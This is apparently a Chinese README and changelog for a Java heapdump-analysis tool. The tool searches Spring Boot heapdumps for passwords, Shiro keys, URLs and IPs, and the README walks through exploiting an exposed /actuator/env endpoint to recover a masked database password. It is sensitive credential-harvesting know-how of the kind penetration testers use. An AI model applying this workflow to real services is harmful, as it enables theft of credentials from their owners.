+ 20230425
+ 输出内容会写到当前目录下 文件名_output.txt，方便随时查询
+ 新增功能hashtable读取，可获取比较多的信息, 结果展示优化
+ 新增2个功能systemproperties,allproperties，读取properties数据


+ 20230406
+ 新增shirokey查找识别，输入shirokey即可
+ class方式信息模糊查询， 例如 class=shiro.web.mgt ,  class=redis 可以搜到redis相关的配置, 等等，class方式可以挖出来更多的数据，大家自己尝试

+ 使用体感和部分功能调优。
+ 对gz文件自动解压
+ 增加了模式选择，大于15W数据时，可以选择模式0 ，不用加载所有数据，直接快速查询数据


该工具是基于jhat，通过jhat解析heapdump文件，所以需要安装jdk和配置好环境变量，例如win \Java\jdk8\bin\jhat.exe， 
在控制台输入jhat检查是否安装正确。

usage:> java -jar heapdump_tool.jar  heapdump
查询方式：
1. 关键词       例如 password 
2. 字符长度     len=10    获取长度为10的所有key或者value值
3. 按顺序获取   num=1-100 获取顺序1-100的字符
4. class模糊搜索  class=xxx 获取class的instance数据信息
5. id查询       id=0xaaaaa  获取id为0xaaaaa的class或者object数据信息
4. re正则查询    re=xxx  自定义正则查询数据信息
获取url,file,ip
shirokey 获取shirokey的值
geturl   获取所有字符串中的url
getfile  获取所有字符串中的文件路径文件名
getip    获取所有字符串中的ip
默认不输出查询结果非key-value格式的数据，需要获取所有值，输入all=true，all=false取消显示所有值。

常见的heapdump泄露，大多都是spring heapdump泄露

这里以spring heapdump泄露 为例

访问 /actuator/env  得到部分信息如下

properties: {
spring.datasource.driver-class-name: {
value: "com.mysql.cj.jdbc.Driver",
origin: "URL [file:/home/test/deploy/config/application-pressure.yml]:3:24"
},
spring.datasource.url: {
value: "jdbc:mysql://test.mysql.rds.aliyuncs.com:3306/test?useUnicode=true&characterEncoding=utf-8&useTimezone=true&serverTimezone=GMT%2B8",
origin: "URL [file:/home/test/deploy/config/application-pressure.yml]:4:10"
},
spring.datasource.username: {
value: "root",
origin: "URL [file:/home/test/deploy/config/application-pressure.yml]:5:15"
},
spring.datasource.password: {
value: "******",
origin: "URL [file:/home/test/deploy/config/application-pressure.yml]:6:15"
},

页面返回内容 spring.datasource.password 的值为 *******

下载 heapdump 文件， 然后使用工具
